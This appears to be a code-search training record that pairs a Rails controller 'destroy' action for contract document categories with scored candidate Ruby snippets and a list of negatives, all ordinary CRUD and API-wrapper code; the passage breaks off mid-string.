[ "def update_categories(categories, options = {} )\n options.merge!(:docid => self.docid, :categories => categories)\n resp = @conn.put do |req|\n req.url \"categories\"\n req.body = options.to_json\n end\n\n resp.status \n end", "def create\n @contract_doc_category = ContractDocCategory.new(params[:contract_doc_category])\n\n respond_to do |format|\n if @contract_doc_category.save\n format.html { redirect_to contract_doc_categories_path, notice: 'Contract doc category was successfully created.' }\n format.json { render json: @contract_doc_category, status: :created, location: @contract_doc_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contract_doc_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @contract_doc_category = ContractDocCategory.find(params[:id])\n @contract_doc_category.destroy\n\n respond_to do |format|\n format.html { redirect_to contract_doc_categories_url }\n format.json { head :no_content }\n end\n end", "def index\n @contract_doc_categories = ContractDocCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contract_doc_categories }\n end\n end", "def UpdateCategory params = {}\n \n APICall(path: 'categories.json',method: 'PUT',payload: params.to_json)\n \n end", "def update\n category = Documents::Category.find(params[:id])\n category.update!(category_params)\n redirect_to categories_path\n end", "def update_categories(cats=[])\n rescue_extra_data\n cats = cats.to_i\n old_categories = categories.pluck(\"#{CamaleonCms::TermTaxonomy.table_name}.id\")\n delete_categories = old_categories - cats\n news_categories = cats - old_categories\n term_relationships.where(\"term_taxonomy_id in (?)\", delete_categories ).destroy_all if delete_categories.present?\n news_categories.each do |key|\n term_relationships.create(:term_taxonomy_id => key)\n end\n update_counters(\"categories\")\n end", "def new\n @contract_doc_category = ContractDocCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contract_doc_category }\n end\n end", "def set_contractor_category\n @contractor_category = ContractorCategory.find(params[:id])\n end", "def modify_category(categories)\n begin\n puts Rainbow(\"Current categories: #{categories.join(', ')}\").whitesmoke\n yield\n\n write_json(categories, \"Categories/cat\", \"Available categories are: #{categories.join(', ')}\")\n rescue StandardError\n puts \"There are no categories to delete\"\n end\nend", "def update\n respond_to do |format|\n if @contractor_category.update(contractor_category_params)\n format.html { redirect_to @contractor_category, notice: 'Contractor category was successfully updated.' }\n format.json { render :show, status: :ok, location: @contractor_category }\n else\n format.html { render :edit }\n format.json { render json: @contractor_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @expense.categories_expenses.destroy_all\n if (params[:expense][:categories]) \n params[:expense][:categories].each do |category_id|\n category_id = category_id.to_i\n if category_id > 0\n @expense.categories << Category.find(category_id)\n end\n end\n end\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n flash[:notice] = 'Expense was successfully updated.'\n format.html { redirect_to(@expense) }\n format.xml { head :ok }\n format.iphone { redirect_to :controller => \"welcome\", :action => \"home\" }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n format.iphone { render :action => \"edit\" }\n end\n end\n end", "def index\n @contractor_categories = ContractorCategory.all\n end", "def update\n @word_list = current_user.word_list\n\n #need to first remove categories from the word\n @word.categories.each do |category|\n @word.categories.delete category\n end\n\n #then push categories in from the category_params\n if params[\"category\"].include?(:category_ids)\n (params[\"category\"])[\"category_ids\"].each do |i|\n next if i.to_i == 0\n @word.categories << Category.find(i.to_i) unless @word.categories.include?(Category.find(i.to_i))\n end\n end\n\n if category_params.include?(:title) && ((params[\"category\"])[\"title\"]) != \"\"\n @word.categories << @word_list.categories.build(title: (params[\"category\"])[\"title\"])\n end\n\n respond_to do |format|\n if @word.update(word_params)\n format.html { redirect_to @word_list, notice: 'Word was successfully updated.' }\n #format.json { render :show, status: :ok, location: @word }\n else\n format.html { render :edit }\n #format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end", "def putCategory( category_id, language, name)\n params = Hash.new\n params['category_id'] = category_id\n params['language'] = language\n params['name'] = name\n return doCurl(\"put\",\"/category\",params)\n end", "def show\n @contract_doc_category = ContractDocCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contract_doc_category }\n end\n end", "def document_category_params\n params.require(:document_category).permit(:document_id, :category_id, :sort_order)\n end", "def create\n @category = @collection.categories.new(category_params)\n\n if @category.save\n ActionCable.server.broadcast 'categories',\n title: @category.title,\n collection_id: @category.collection_id\n head :ok\n else\n\n end\n end", "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n flash[:notice] = t('item.updated', :item => t('document.document'))\n format.html { redirect_to admin_document_path(@document) }\n format.xml { head :ok }\n else\n @categories = Category.find_all_by_section_identifier(@document.section_identifier)\n flash.now[:error] = t('item.not_updated', :item => t('document.document'))\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(request)\n if options[:multiple]\n cats = request.every(options[:category])\n cats.each do |cat|\n if cat || options[:nils]\n @categories[cat] ||= 0\n @categories[cat] += 1\n end \n end\n \n else\n cat = @categorizer.call(request)\n if cat || options[:nils]\n @categories[cat] ||= 0\n @categories[cat] += 1\n end\n end\n end", "def update_keyword_categories(data=nil,generate_objects=false)\n uri = URI.parse(@uri + \"/KeywordCategories\")\n results = put(uri,data,generate_objects)\n end", "def update\n update! {admin_categories_path}\n end", "def category_edit\n @finance_category = FinanceTransactionCategory.find(params[:id])\n @categories = FinanceTransactionCategory.all(:conditions => {:deleted => false})\n @category_ids = @categories.map { |cat| cat.id if FinanceTransaction.find_by_category_id(cat.id).present? }.compact\n end", "def update\n json_update(category,category_params, Category)\n end", "def create_category payload\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.post CATEGORIES, payload )\n\t\t\t\tend", "def category_update\n @finance_category = FinanceTransactionCategory.find(params[:id])\n unless @finance_category.update_attributes(params[:finance_category])\n @errors=true\n end\n @categories = FinanceTransactionCategory.all(:conditions => {:deleted => false}, :order => 'name asc')\n @category_ids = @categories.map { |cat| cat.id if FinanceTransaction.find_by_category_id(cat.id).present? }.compact\n @fixed_categories = @categories.reject { |c| !c.is_fixed }\n @other_categories = @categories.reject { |c| c.is_fixed }\n @multi_config = FinanceTransactionCategory.get_multi_configuration\n end", "def user_category_edit\n @user = User.where(contact: params[:contact]).first\n @user.categories.destroy_all\n params[:category_ids].each do |category|\n @user.user_categories.create!(category_id: category, user_id: @user.id)\n end\n render json: {status: \"SUCCESS\", message: \"user-categories\", data: \"categories updated\"}, status: :ok\n end", "def update\n @company = Company.find(params[:id])\n params[:company][:category_ids] ||= []\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to(@company, :notice => 'Company was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @company.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @documentocategoria = Documentocategoria.find(params[:id])\n\n respond_to do |format|\n if @documentocategoria.update_attributes(params[:documentocategoria])\n format.html { redirect_to(@documentocategoria, :notice => 'Documentocategoria was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @documentocategoria.errors, :status => :unprocessable_entity }\n end\n end\n end", "def get_menu_category\n require \"rest_client\"\n require \"json\"\n\n self.categories.update_all(still_present: false)\n response = RestClient.get(\"https://api.omnivore.io/0.1/locations/#{self.omnivore_id}/menu/categories\", {:content_type => :json, :'Api-Key' => Setting.first.app_api_key})\n res = JSON.parse(response)\n res[\"_embedded\"][\"categories\"].each do |category|\n cat = self.categories.where(omnivore_id: category[\"id\"]).first_or_create\n cat.name = category[\"name\"]\n cat.still_present = true\n cat.save\n end\n\n self.categories.where(still_present: false).destroy_all\n end", "def update\n if @category.update(params[:category])\n head :no_content\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end", "def create\n category = Documents::Category.create(category_params)\n if category.save\n redirect_to categories_path\n else\n redirect_to categories_path, alert: I18n.t('admin.categories.validation_error')\n end\n end", "def category_params\n params.require(:documents_category).permit(:name, journals: [])\n end", "def update\n unless @category.name == \"ROOT\"\n if @category.update(category_params)\n render 'show', :status => 200, :layout => false, notice: 'Category was successfully created.'\n else\n render :json => {:message => \"Error in updating category\"}, notice: @category.errors, :layout => false, :status => 400\n end\n else\n render :json => {:message => \"Root can't be edited.\"}, :layout => false, :status => 400\n end\n end", "def update\n if params[:project][:category_list].present?\n @project.category_list = []\n params[:project][:category_list].each do |cat|\n @project.category_list.add(cat)\n end \n end\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_categ\n @categ = Categ.find(params[:id])\n end", "def set_categories_course\n @categories_course = CategoriesCourse.find(params[:id])\n end", "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n flash[:notice] = t('item.saved', :item => t('document.document'))\n format.html { redirect_to admin_document_path(@document)}\n #format.xml { render :xml => @document, :status => :created, :location => @document }\n else\n @categories = Category.find_all_by_section_identifier(@document.section_identifier)\n flash.now[:error] = t('item.not_saved', :item => t('document.document'))\n format.html { render :action => \"new\" }\n #format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @contractor_category = ContractorCategory.new(contractor_category_params)\n\n respond_to do |format|\n if @contractor_category.save\n format.html { redirect_to @contractor_category, notice: 'Contractor category was successfully created.' }\n format.json { render :show, status: :created, location: @contractor_category }\n else\n format.html { render :new }\n format.json { render json: @contractor_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_clinic_doc\n @clinic_doc = ClinicDoc.find(params[:id])\n end", "def category_params\n params.require(:category).permit(:title, :handle, :shopify_collection_id, :collection_id)\n end", "def CreateCategory params = {}\n \n APICall(path: 'categories.json',method: 'POST',payload: params.to_json)\n \n end", "def update!(**args)\n @categories = args[:categories] if args.key?(:categories)\n end", "def update!(**args)\n @categories = args[:categories] if args.key?(:categories)\n end", "def category_for_key(key, description)\n # Keys may contain '/' e.g. 'openshift.io/build.name'.\n name = 'kubernetes:' + Classification.sanitize_name(key.tr(\"/\", \":\"))\n category = Classification.find_by_name(name)\n if category\n category.description = description\n category.save!\n category\n else\n Classification.create_category!(name: name, description: description,\n read_only: true, single_value: true)\n end\nend", "def set_categories(ids)\n self.categories = Category.find(ids)\n self.save\n end", "def set_categories_category_expense\n @categories_category_expense = Categories::CategoryExpense.find(params[:id])\n end", "def update\n respond_to do |format|\n if @catalog_category.update(catalog_category_params)\n format.html { redirect_to catalog_categories_url }\n format.json { render :show, status: :ok, location: @catalog_category }\n else\n format.html { render :edit }\n format.json { render json: @catalog_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category_collection = CategoryCollection.find(params[:id])\n @collection = @category_collection.collection\n\n respond_to do |format|\n if @category_collection.update_attributes(params[:category_collection])\n flash[:notice] = 'CategoryCollection was successfully updated.'\n format.html { redirect_to(@collection) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category_collection.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_project_keyword_categories(data=nil,generate_objects=false)\n uri = URI.parse(@uri + \"/ProjectKeywordCategories\")\n results = put(uri,data,generate_objects)\n end", "def set_category\n end", "def set_document_group_category\n @document_group_category = DocumentGroupCategory.find(params[:id])\n end", "def update\n @convention_category = ConventionCategory.find(params[:id])\n\n @convention_category.assign_attributes(params[:convention_category])\n\n add_missing_translation_content(@convention_category.convention_category_translations)\n\n respond_to do |format|\n if @convention_category.save\n format.html { redirect_to admin_convention_categories_path, notice: t('app.msgs.success_updated', :obj => t('activerecord.models.convention_category')) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @convention_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def category\n client.categories.find(data[\"categoryId\"])\n end", "def update_category_counter\r\n end", "def categories=(value)\n @categories = value\n end", "def category(config = {})\n config = config.symbolize_keys\n\n # get subledger id calculated from config\n subledger_id, key = to_subledger_id(:category, config[:id])\n\n if subledger_id.present?\n subledger.categories.read(id: subledger_id)\n else\n # create the category\n the_category = subledger.categories.create description: \"#{config[:id].humanize}\",\n normal_balance: config[:normal_balance],\n version: 1\n # save new mapping\n Mapping.map_entity(\"category\", key, the_category.id)\n\n return the_category\n end\n end", "def set_category\n @category = LibraryCategory.find_by(:object_key => params[:library_category_id])\n\n add_breadcrumb @category.name, library_category_path(@category)\n end", "def update\n if @category.update(category_params)\n render json: @category, status: :ok\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end", "def documentation_link_category_params\n params.require(:documentation_link_category).permit(:link_category_id, :title, :preview_ico, :description, :position)\n end", "def categories=(categories)\n end", "def subcontract_category; end", "def set_category\n @categories = Category.find(params[:id])\n end", "def update\n params[:book][:category_ids] = nil if params[:book][:category_ids].nil?\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to books_url, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n @categories = Category.all.order('name asc')\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n add_breadcrumb @document.name, library_category_library_document_path(@category, @document)\n add_breadcrumb \"Modify\"\n\n respond_to do |format|\n if @document.update(document_params)\n notify_user(:notice, 'Document was successfully updated.')\n format.html { redirect_to library_category_library_document_path(@category, @document) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @convention_category = ConventionCategory.new(params[:convention_category])\n\n add_missing_translation_content(@convention_category.convention_category_translations)\n\n respond_to do |format|\n if @convention_category.save\n format.html { redirect_to admin_convention_categories_path, notice: t('app.msgs.success_created', :obj => t('activerecord.models.convention_category')) }\n format.json { render json: @convention_category, status: :created, location: @convention_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @convention_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n\n @data_collection.name = params[:data_collection][:name]\n @data_collection.description = params[:data_collection][:description]\n @data_collection.institution = params[:data_collection][:institution]\n @data_collection.collection_name = params[:data_collection][:collection_name]\n @data_collection.country_id = params[:data_collection][:country_id]\n @data_collection.province_id = params[:data_collection][:province_id]\n @data_collection.city_id = params[:data_collection][:city_id]\n\n if @data_collection.save\n\n @data_collection.data_collection_categories.map {|el| el.destroy}\n\n params[:categories].each do |category|\n\n collection_category = DataCollectionCategory.new\n collection_category.data_collection = @data_collection\n collection_category.category_id = category\n collection_category.save\n\n end\n\n format.html { redirect_to importador_csv_path (@data_collection.id), notice: 'Data collection was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @data_collection.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n handle_book_categories\n format.html { redirect_to @book, notice: I18n.t(:changes_updated_successfully) }\n format.json { head :no_content }\n else\n @book_categories = {}\n BookCategory.all.order(:category_name).collect {|bc| @book_categories[bc.category_name] = bc.id }\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @categorization = Categorization.find(params[:id])\n @categories = category_list\n respond_to do |format|\n if @categorization.update_attributes(params[:categorization])\n format.html { redirect_to(admin_categorization_path(@categorization), :notice => 'Categorization was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @categorization.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_sivic_contcategory\r\n @sivic_contcategory = SivicContcategory.find(params[:id])\r\n end", "def update\n existing_categories = (Ebook.find_by id: params[:id]).categories\n is_already_category = (Ebook.find_by id: params[:id]).ebook_categorizations.pluck(:category_id).include? params[:category_id].to_i\n\n if(params[:checked] == \"checked\" )\n if(!is_already_category)\n existing_categories << (Category.find_by id: params[:category_id])\n end\n else\n if(is_already_category)\n existing_categories.delete(params[:category_id])\n end\n end\n\n respond_to do |format|\n if @ebook.update(ebook_params)\n format.html { redirect_to @ebook, notice: \"#{@ebook_name} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ebook.errors, status: :unprocessable_entity }\n end\n end\n end", "def clinic_doc_params\n params.require(:clinic_doc).permit(:name, :clinic_id)\n end", "def update\n @consumer_category = ConsumerCategory.find(params[:id])\n\n respond_to do |format|\n if @consumer_category.update_attributes(params[:consumer_category])\n format.html { redirect_to @consumer_category, notice: 'Consumer category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @consumer_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to api_v1_categories_path, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_company_category\n @company_category = CompanyCategory.find(params[:id])\n end", "def update\n respond_to do |format|\n if @schema_category.update(schema_category_params)\n format.html { redirect_to schema_categories_path, notice: 'Schema category was successfully updated.' }\n format.json { render :show, status: :ok, location: @schema_category }\n else\n format.html { render :edit }\n format.json { render json: @schema_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def editCat()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n c = Category.find(params[:id])\n status = c.update(name: params[:name])\n error = \"\"\n if(c.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end", "def contractor_category_params\n params.require(:contractor_category).permit(:name)\n end", "def update\n respond_to do |format|\n if @incidentcategory.update(incidentcategory_params)\n json_response(@incidentcategory)\n else\n render json: @incidentcategory.errors, status: :unprocessable_entity\n end\n end\n end", "def update_category_attribute_definition(kapp_slug, name, body, headers=default_headers)\n @logger.info(\"Updating the \\\"#{name}\\\" Category attribute definition in the \\\"#{kapp_slug}\\\" kapp.\")\n put(\"#{@api_url}/kapps/#{kapp_slug}/categoryAttributeDefinitions/#{encode(name)}\",body, headers)\n end", "def GetCategory id\n\n APICall(path: \"categories/#{id}.json\")\n\n end", "def add_categories(collection)\n\tcategory = \"\"\n\tcollection[\"results\"][\"collection1\"].each do |article|\n\t\tif article[\"category\"] == \"\"\n article[\"category\"] = category\n else\n category = article[\"category\"]\n end\n\tend\nend", "def put(path, collection)\n # remove the leading slash\n path = path.gsub(/\\A\\//, '')\n\n headers = self.class.headers.clone\n headers['Content-Type'] = @media_type\n\n response = case @media_type\n when 'application/occi+json'\n self.class.post(@endpoint + path,\n :body => collection.to_json,\n :headers => headers)\n when 'text/occi'\n self.class.post(@endpoint + path,\n :headers => collection.to_header.merge(headers))\n else\n self.class.post(@endpoint + path,\n :body => collection.to_text,\n :headers => headers)\n end\n\n response_msg = response_message response\n\n case response.code\n when 200, 201\n Occi::Parser.parse(response.header[\"content-type\"].split(\";\").first, response)\n else\n raise \"HTTP POST failed! #{response_msg}\"\n end\n end", "def edit\n # populates the category with the existing category assigned\n @categories = Category.all.map{ |c| [c.name, c.id] }\n end", "def update\n @headline = t(:update_category)\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: t(:updated_category_success) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to backoffice_categories_path,\n notice: notification_alert('success', 'Updated!', \"Category [#{@category.description}] was successfully updated.\") \n }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n category = Documents::Category.find(params[:id])\n category.destroy\n\n redirect_to categories_path\n end", "def update\n if @categoria.update(categoria_params)\n render json: @categoria\n else\n render json: @categoria.errors, status: :unprocessable_entity \n end\n end", "def categories=(value)\n\t\t@categories = value\n\tend", "def categories=(value)\n\t\t@categories = value\n\tend", "def categories=(value)\n\t\t@categories = value\n\tend", "def put(path, collection)\n # remove the leading slash\n path = path.gsub(/\\A\\//, '')\n\n headers = self.class.headers.clone\n headers['Content-Type'] = @media_type\n\n response = case @media_type\n when 'application/occi+json'\n self.class.post(@endpoint + path,\n :body => collection.to_json,\n :headers => headers)\n when 'text/occi'\n self.class.post(@endpoint + path,\n :headers => collection.to_header.merge(headers))\n else\n self.class.post(@endpoint + path,\n :body => collection.to_text,\n :headers => headers)\n end\n\n response_msg = response_message response\n\n case response.code\n when 200, 201\n Occi::Parser.parse(response.header[\"content-type\"].split(\";\").first, response.body)\n else\n raise \"HTTP POST failed! #{response_msg}\"\n end\n end", "def set_incidentcategory\n @incidentcategory = Incidentcategory.find(params[:id])\n end", "def set_incidentcategory\n @incidentcategory = Incidentcategory.find(params[:id])\n end", "def update\n respond_to do |format|\n if @categ.update(categ_params)\n format.html { redirect_to @categ, notice: 'Categ was successfully updated.' }\n format.json { render :show, status: :ok, location: @categ }\n else\n format.html { render :edit }\n format.json { render json: @categ.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_category\n @course = Course.find(params[:id])\n end", "def update\n respond_to do |format|\n if @company_category.update(company_category_params)\n format.html { redirect_to @company_category, notice: 'Company category was successfully updated.' }\n format.json { render :show, status: :ok, location: @company_category }\n else\n format.html { render :edit }\n format.json { render json: @company_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n Category.update(params[:category].keys, params[:category].values)\n\n redirect_to admin_ads_path\n end", "def set_catalog_category\n @catalog_category = CatalogCategory.find(params[:id])\n end", "def set_cncoperation\n @cncoperation = Cncoperation.find(params[:id])\n end" ]
[ "0.71546346", "0.66962844", "0.6478813", "0.6278743", "0.6203736", "0.5856204", "0.583044", "0.5796072", "0.5766279", "0.5672686", "0.56694543", "0.5644705", "0.5630154", "0.56238836", "0.56124693", "0.5612258", "0.5565249", "0.5546055", "0.5505531", "0.54985297", "0.5494529", "0.54847443", "0.5482976", "0.54735357", "0.5469768", "0.5460903", "0.5440612", "0.5410942", "0.5392869", "0.5391868", "0.5384605", "0.537275", "0.53695506", "0.53597826", "0.5347896", "0.5345242", "0.5319219", "0.5318568", "0.53121877", "0.5310853", "0.53094757", "0.5296463", "0.52888805", "0.52888805", "0.5282842", "0.5279323", "0.5273864", "0.5273396", "0.5267849", "0.525673", "0.52443856", "0.5242022", "0.52389437", "0.5225935", "0.5225726", "0.52226645", "0.5221303", "0.52190727", "0.5214963", "0.5214878", "0.52016395", "0.5198616", "0.5196381", "0.51845485", "0.5178785", "0.51748663", "0.5173905", "0.51716685", "0.5138734", "0.5138326", "0.5130217", "0.5128295", "0.51245713", "0.5123692", "0.51215535", "0.51163775", "0.51163715", "0.5113652", "0.50926703", "0.5088879", "0.5084822", "0.50822556", "0.508149", "0.507793", "0.50764275", "0.50744945", "0.50608456", "0.50606745", "0.5058055", "0.5058055", "0.5058055", "0.5057616", "0.50495565", "0.50495565", "0.50473344", "0.50462997", "0.5045781", "0.50386125", "0.50271547", "0.5024899" ]
0.68047667
1
DELETE /contract_doc_categories/1 DELETE /contract_doc_categories/1.json
def destroy @contract_doc_category = ContractDocCategory.find(params[:id]) @contract_doc_category.destroy respond_to do |format| format.html { redirect_to contract_doc_categories_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @contract_document.destroy\n respond_to do |format|\n format.html { redirect_to contract_documents_url }\n format.json { head :no_content }\n end\n end", "def DeleteCategory id\n \n APICall(path: \"categories/#{id}.json\",method: 'DELETE')\n \n end", "def destroy\n @contractor_category.destroy\n respond_to do |format|\n format.html { redirect_to contractor_categories_url, notice: 'Contractor category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n #@incidentcategory.destroy\n render json: {}, status: 200\n end", "def destroy\n @contraindication.destroy\n respond_to do |format|\n format.html { redirect_to contraindications_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @convention_category = ConventionCategory.find(params[:id])\n @convention_category.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_convention_categories_url }\n format.json { head :ok }\n end\n end", "def destroy\n category = set_category\n if category.destroy\n head :no_content\n else\n render json: { status: 500 }\n end\n \n end", "def destroy\n @exhibitor_category = ExhibitorCategory.find(params[:id])\n @exhibitor_category.destroy\n\n respond_to do |format|\n format.html { redirect_to exhibitor_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @sivic_contcategory.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_contcategories_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @documentocategoria = Documentocategoria.find(params[:id])\n @documentocategoria.destroy\n\n respond_to do |format|\n format.html { redirect_to(documentocategorias_url) }\n format.xml { head :ok }\n end\n end", "def delete_category id\n\t\t\t\t\tFreshdesk::Api::Client.delete_status_wrapper do\n\t\t\t\t\t\t( @connection.delete CATEGORIES, id ).code\n\t\t\t\t\tend\n\t\t\t\tend", "def destroy\n @category.destroy\n render json: @category, status: :ok\n end", "def destroy\n @document_group_category.destroy\n respond_to do |format|\n format.html { redirect_to dokumentit_path, notice: destroyed_message(@@object_type) }\n format.json { head :no_content }\n end\n end", "def destroy\n @cover_cat = CoverCat.find(params[:id])\n @cover_cat.destroy\n\n respond_to do |format|\n format.html { redirect_to cover_cats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @couch.destroy\n respond_to do |format|\n format.html { redirect_to couches_url, notice: 'Couch was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @alien_category.destroy\n respond_to do |format|\n format.html { redirect_to alien_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @categ.destroy\n respond_to do |format|\n format.html { redirect_to categs_url, notice: 'Categ was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @budgetcategory = Budgetcategory.find(params[:id])\n @budgetcategory.destroy\n\n respond_to do |format|\n format.html { redirect_to budgetcategories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @documentation_link_category.destroy\n respond_to do |format|\n format.html { redirect_to documentation_link_categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def deleteCat()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n c = Category.find(params[:id])\n status = c.destroy\n error = \"\"\n if(c.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: true, reason: error, data: \"\"}\n end", "def destroy\n @couch.destroy\n respond_to do |format|\n format.html { redirect_to couches_url, notice: 'Couche was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def deleteEntityCategory( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/category\",params)\n end", "def destroy\n @sys_category.destroy\n respond_to do |format|\n format.html { redirect_to sys_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contracting_request_document_type = ContractingRequestDocumentType.find(params[:id])\n respond_to do |format|\n if @contracting_request_document_type.destroy\n format.html { redirect_to contracting_request_document_types_url,\n notice: (crud_notice('destroyed', @contracting_request_document_type) + \"#{undo_link(@contracting_request_document_type)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { redirect_to contracting_request_document_types_url, alert: \"#{@contracting_request_document_type.errors[:base].to_s}\".gsub('[\"', '').gsub('\"]', '') }\n format.json { render json: @contracting_request_document_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\r\n @ccategory = Ccategory.find(params[:id])\r\n @ccategory.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(ccategories_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v1_categories_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @category_db.destroy\n respond_to do |format|\n format.html { redirect_to category_dbs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @content_category = ContentCategory.find(params[:id])\n @content_category.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_home_index_path }\n format.json { head :no_content }\n end\n end", "def destroy\n\n @document.destroy\n\n notify_user(:notice, 'Document was successfully removed.')\n respond_to do |format|\n format.html { redirect_to library_category_path(@category) }\n format.json { head :no_content }\n end\n end", "def destroy\n @category = @collection.category.find(params[:id])\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @body_style_categorization = BodyStyleCategorization.find(params[:id])\n @body_style_categorization.destroy\n\n respond_to do |format|\n format.html { redirect_to body_style_categorizations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_doc.destroy\n respond_to do |format|\n format.html { redirect_to client_docs_url, notice: 'Client doc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @catalog_contract_type.destroy\n respond_to do |format|\n format.html { redirect_to catalog_contract_types_url, notice: 'Contract type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @category_collection = CategoryCollection.find(params[:id])\n @collection = @category_collection.collection\n @category_collection.destroy\n\n respond_to do |format|\n format.html { redirect_to(@collection) }\n format.xml { head :ok }\n end\n end", "def destroy\n @doc_type.destroy\n respond_to do |format|\n format.html { redirect_to doc_types_url, notice: t('message.template.scaffold.destroy', model: 